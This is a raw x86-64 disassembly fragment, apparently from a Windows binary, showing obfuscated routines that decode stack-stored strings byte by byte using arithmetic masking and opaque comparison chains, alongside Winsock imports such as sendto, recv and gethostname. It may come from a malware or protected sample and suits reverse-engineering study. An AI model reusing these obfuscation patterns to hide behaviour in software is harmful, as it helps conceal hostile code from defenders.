mov r10, qword [rax]
mov r9, r13
cmp r9, 0x47
jae 0x140151aa9
movzx r8d, byte [rbp + r9 + 0x910]
mov rdx, r8
cmp rdi, r9
ja 0x140151aa0
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140151012
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x44
jmp 0x140151049
je 0x140151a1c
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401519ed
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401519ca
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14015197c
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x140151a97
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x14015107c
movabs rdx, 0xb7c78c691cb91734
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6c
jmp 0x14015123f
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14015196b
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140151948
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401518ff
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401518d9
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14015184d
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x140151489
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140151475
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x140151452
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14015143e
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14015141d
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x140151409
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x1401513e6
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401513d2
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x140151a74
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140151a4e
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x14015126c
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x140151246
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x140151223
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x1401513bb
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x14015139a
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x140151386
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x140151365
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140151351
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x14015132e
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x14015130b
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x1401512e7
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x1401512c4
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x1401512b0
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14015128f
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x1401510ca
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x1401510ca
movabs rdx, 0x52bb1b4a0743074c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x1401510bd
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140151049
movabs rdx, 0x78de3d7f265cb9bc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub dl, 0x24
add bl, dl
jmp 0x140150fda
movabs rdx, 0xbe3c6348e5c8b9a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x60
jmp 0x14015199b
movabs rdx, 0xd14df463755592d8
mov ecx, recv
jmp 0x140151630
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x1401519e8
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14015191b
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x80
jmp 0x140151a0b
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x140151a0e
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x14015185c
movabs rdx, 0x43b75b02d2a2aa28
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x18
jmp 0x1401516c5
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
jmp 0x14015156d
movabs rdx, 0x2c97f914e82954dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
jmp 0x1401514ea
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov ecx, Ordinal_60
jmp 0x14015149f
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x14015185c
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x20
jmp 0x140151a0e
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_46
jmp 0x1401518e8
movabs rdx, 0xae051ffb7a16c950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x14015191b
movabs rdx, 0xc116b11609a3a288
mov ecx, 0x24
jmp 0x140151957
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x1401519c5
movabs rdx, 0xe739d34b28bd54f8
mov ecx, Ordinal_32
jmp 0x14015198b
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x140151555
lea rdx, [r9 + r11]
mov ecx, Ordinal_35
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x1000
je 0x140151827
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x1401515ee
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, 4
jae 0x140151801
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x1401516fc
movabs rcx, 0xf22fc2bf02713608
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
cmp r10, 4
jb 0x1401517f4
movabs rdx, 0x338017b566f0b9d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14015199d
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140151584
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140151a37
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401515a1
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
jmp 0x14015185c
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401515cd
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x140151a0e
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401514ae
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_46
jmp 0x140151957
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140151618
movabs rdx, 0x2756a53b562b459c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x44
jmp 0x14015199b
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140151647
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401519c5
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140151673
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x24
jmp 0x140151a0b
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14015169d
movabs rdx, 0xb4ed3e9bf8de2e4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
jmp 0x14015186c
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401516cc
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401518a2
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x1401514ec
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
jmp 0x140151a37
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140151719
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x14015156d
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140151736
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x14015185c
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140151753
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x1401518e8
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14015177d
movabs rdx, 0x7fc65c1fa5241eb8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 8
jmp 0x14015191b
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401517a9
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x80
jmp 0x1401519e8
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401517c6
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x140151630
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140151523
movabs rdx, 0x4691a8cff67d9310
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x14015199b
mov byte [rbp + r9 + 0x910], bl
jmp 0x140151a46
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x910]
sub bl, al
sub bl, 0x60
jmp 0x140151303
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x910]
jmp 0x140151869
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x910], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x50
add r8b, cl
mov byte [rbp + r9 + 0x910], r8b
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x140151a37
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140151a0b
movabs rdx, 0x6b8147fede85b254
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4c
add bl, dl
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1c
add cl, bl
add cl, r8b
mov byte [rbp + r9 + 0x910], cl
jmp 0x140151a0b
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401519e8
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x14015198b
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x910], cl
add r10, r15
jmp 0x1401519e8
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
sub r9, r15
jmp 0x140151a46
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x14
add rdi, r10
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x140151a46
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x34
movzx eax, byte [rbp + r9 + 0x910]
add rax, r10
add r9, rax
add r9, r15
jmp 0x140150fc7
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140150fc4
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x140150fb4
lea rdx, [rbp + 0x16f1040]
jmp 0x140151ab0
lea rdx, [rbp + 0x68a3a4]
jmp 0x140151ab0
lea rdx, [rbp + 0x910]
lea rcx, [rbp + 0xb8]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2300]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140151ae5
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x2300]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x2300]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x2300]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x740], 0xcb
mov byte [rbp + 0x741], Ordinal_143
mov byte [rbp + 0x742], 0xac
mov byte [rbp + 0x743], 0xf3
mov byte [rbp + 0x744], Ordinal_79
mov byte [rbp + 0x745], 0xf1
mov byte [rbp + 0x746], WSACleanup
mov byte [rbp + 0x747], 0xf7
mov byte [rbp + 0x748], 0x55
mov byte [rbp + 0x749], 0xf5
mov byte [rbp + 0x74a], 0xa2
mov byte [rbp + 0x74b], 0xfb
mov byte [rbp + 0x74c], 0x66
mov byte [rbp + 0x74d], 0xf9
mov byte [rbp + 0x74e], 0x55
mov byte [rbp + 0x74f], 0xff
mov byte [rbp + 0x750], 0x59
mov byte [rbp + 0x751], 0xfd
mov byte [rbp + 0x752], WSACleanup
mov byte [rbp + 0x753], 0xe3
mov byte [rbp + 0x754], 0x47
mov byte [rbp + 0x755], 0xe1
mov byte [rbp + 0x756], Ordinal_79
mov byte [rbp + 0x757], 0xe7
mov byte [rbp + 0x758], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x759], 0xe5
mov byte [rbp + 0x75a], 0x42
mov byte [rbp + 0x75b], 0xeb
mov byte [rbp + 0x75c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x75d], 0xe9
mov byte [rbp + 0x75e], r14b
mov byte [rbp + 0x75f], 0xef
mov byte [rbp + 0x760], 0xb8
mov byte [rbp + 0x761], 0xed
mov byte [rbp + 0x762], 0x87
mov byte [rbp + 0x763], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x764], 0x44
mov byte [rbp + 0x765], Ordinal_211
mov byte [rbp + 0x766], r14b
mov byte [rbp + 0x767], Ordinal_217
mov byte [rbp + 0x768], 0x81
mov byte [rbp + 0x769], Ordinal_217
mov byte [rbp + 0x76a], 0x7e
mov byte [rbp + 0x76b], 0xdb
mov byte [rbp + 0x76c], 0x7c
mov byte [rbp + 0x76d], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x76e], WSACleanup
mov byte [rbp + 0x76f], 0xdf
mov byte [rbp + 0x770], Ordinal_143
mov byte [rbp + 0x771], 0xdd
mov byte [rbp + 0x772], 0x64
mov byte [rbp + 0x773], Ordinal_200
mov byte [rbp + 0x774], WSAGetLastError
mov byte [rbp + 0x775], 0xc1
mov byte [rbp + 0x776], 0x54
mov byte [rbp + 0x777], Ordinal_200
mov byte [rbp + 0x778], Ordinal_200
mov byte [rbp + 0x779], Ordinal_200
xor eax, eax
mov dword [rbp + 0x77a], eax
mov word [rbp + 0x77e], ax
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
mov r9, r13
cmp r9, r14
jae 0x1401528ad
movzx r8d, byte [rbp + r9 + 0x740]
mov r11, r8
cmp rdi, r9
ja 0x1401528a4
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140151d24
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
sub bl, 0x32
jmp 0x140151d5e
je 0x140152817
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401527c1
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14015276a
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140152741
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401526f7
cmp r10, r9
ja 0x14015289b
lea rax, [r10 + 4]
cmp rdi, rax
jae 0x140151d91
movabs rdx, 0xe621106c29a91096
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x1a
jmp 0x140151fa3
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401526d9
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401526b6
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140152687
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140152673
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401522c3
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x1401522a2
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x14015228e
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14015226b
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140152257
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140152234
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140152211
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x1401521ed
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x1401521ca
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401521a6
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x140151dd2
lea rdi, [r10 + 0x200]
lea r10, [rdi + 0x28]
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x140152875
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x14015284f
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x140151fd0
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x140151faa
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x140151f87
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x140152182
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x14015216e
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x14015214d
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14015211f
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x140151dd2
lea rdi, [r10 + 0x64]
lea r10, [rdi + 0x400]
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x1401520f9
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x1401520d8
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x1401520b7
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x140152091
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14015206e
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14015204d
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x14015202a
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x140152007
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x140151ff3
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x140151dd2
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 1]
jmp 0x140151dd2
movabs rdx, 0x7954c208e2fd862a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x26
add bl, dl
jmp 0x140151dc5
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140151d5e
movabs rdx, 0x108b6992c2ac8f32
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x140151ced
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_27
jmp 0x140152706
movabs rcx, 0x7ca3d7263d200934
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x14015273c
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x140152762
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140152616
movabs rcx, 0x5f75d2750ca696c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x140152645
movabs rdx, 0xab112639fc7e1b44
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401526a5
movabs rdx, 0xf6ac79feec559fc8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x140152789
movabs rdx, 0x4247cdc3dc2d244c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
jmp 0x1401521e6
movabs rdx, 0x8de32188cc04a8d0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140152838
movabs rdx, 0x4ae772f5239f741a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
mov byte [rbp + r9 + 0x740], bl
jmp 0x140152847
movabs rdx, 0x9682c6ba1376f89e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x52
jmp 0x14015235f
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x140152318
movabs rdx, 0x2db96e43f32601a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401522ec
movabs rdx, 0x64c66288f9f66384
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140152836
movabs rdx, 0xb061b64de9cde808
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x1401527e5
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140152789
movabs rcx, 0x47985dd7c97cf110
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x1401526a5
movabs rcx, 0x9333b19cb9547594
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x140152645
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
jmp 0x14015205c
movabs rcx, 0x2a6a592699037e9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x140152762
movabs rdx, 0x7605aceb88db0320
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140152451
movabs rdx, 0xc1a100b078b287a4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x140152716
lea rax, [r10 + 8]
cmp rdi, rax
jae 0x140152396
movabs rdx, 0xda32561d88143dbe
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x32
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 6
je 0x14015264a
lea rax, [r10 + 0x10]
cmp rdi, rax
jbe 0x140152468
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, r14
jae 0x1401525f5
lea rax, [r10 + 0x200]
cmp rdi, rax
jbe 0x140152535
movabs rdx, 0xe41f9575967bc6dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
cmp r10, 0x1000
jb 0x140152140
movabs rdx, 0xf00e4fc4381099b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x140152718
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401523c2
movabs rcx, 0xcc4220d85352212c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x140152838
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401523dc
movabs rdx, 0x350b794e73a31824
mov ecx, esi
jmp 0x1401521fc
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14015240b
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140152645
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140152435
movabs rdx, 0x52397dffa41c8a98
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x28
jmp 0x140152619
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401522ee
movabs rdx, 0xbb02d675c46d8190
mov ecx, 8
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015273c
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140152492
movabs rdx, 0xb26331447cfb31c2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4e
jmp 0x140152716
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401524bc
movabs rdx, 0xcf9135f5ad74a436
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7a
jmp 0x140152619
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401524d9
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x1401523f4
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140152505
